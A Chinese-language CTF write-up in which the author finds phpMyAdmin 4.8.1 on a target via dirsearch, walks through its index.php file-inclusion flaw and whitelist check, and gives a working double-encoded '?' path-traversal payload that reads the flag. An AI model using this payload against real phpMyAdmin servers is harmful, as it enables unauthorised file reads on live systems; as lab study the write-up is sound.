本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,看到一行乱,F12查看源码和Burp抓包没有找到有用信息,

用dirsearch扫描网站,

发现了phpmyadmin
phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。
可以通过URL打开,

注意到他的版本号为4.8.1,通过网上搜索发现,这个版本的phpmyadmin在源码上存在文件包含漏洞,
这是一个师傅对这个漏洞的讲解:https://blog.csdn.net/weixin_44037296/article/details/111039461
我们这里主要看他漏洞的原理,
漏洞位于index.php文件的文件包含逻辑中,具体在55-63行代码,

1
2
3
4
5
6
7
8
9
10
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

要成功利用此漏洞,需要满足以下五个条件:
1.target参数不为空
2.target参数是字符串
3.target不以”index”开头
4.target不在黑名单中(黑名单包含import.phpexport.php
5.通过Core::checkPageValidity()函数的检查
关键绕过点Core::checkPageValidity()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = []) //&$page:引用传递的页面参数(会被函数修改),$whitelist:可选的白名单数组,默认为self::$goto_whitelist
{
if (empty($whitelist)) { //初始画白名单:如果没有传入自定义白名单,则使用系统默认的$goto_whitelist
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {//确保$page存在且是字符串类型
return false;
}

if (in_array($page, $whitelist)) {//直接匹配检查,检查原始$page是否直接存在于白名单中
return true;
}

$_page = mb_substr( //提取问号'?'前的部分进行检查
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);//先对$page进行URL解码
$_page = mb_substr( //再次提取问号前的部分检查
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

构造payload:

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

利用?的二次编码进行绕过,
%253f是问号(?)的二次URL编码:
? → 第一次编码为%3f
%3f → 第二次编码为%253f

(1)当请求发送到Web服务器时:(第一次解码)
服务器自动对URL进行一次解码:
%253f%3f
此时参数值变为:

1
db_sql.php%3f/../../../../../../flag

(2)函数验证阶段(第二层解码)
前面的白名单检查通过不了,
到了$_page = urldecode($page);

1
2
3
4
5
6
7
$_page = urldecode('db_sql.php%3f/../../...') 
// 解码后变为 'db_sql.php?/../../...'

$_page = mb_substr('db_sql.php?/../../...', 0, mb_strpos('db_sql.php?/../../...?', '?'))
// 截取问号前部分 → 'db_sql.php'

if (in_array('db_sql.php', $whitelist))

→ 成功!因为db_sql.php在白名单中(默认白名单中有),
虽然验证时检查的是db_sql.php,但实际包含的是:

1
include 'db_sql.php%3f/../../../../../../flag';

%3f在文件系统层面被当作普通字符(不是URL参数分隔符)
PHP的文件操作函数会正常处理包含路径遍历的路径
最终解析为绝对路径:/flag

测试成功,

获得flag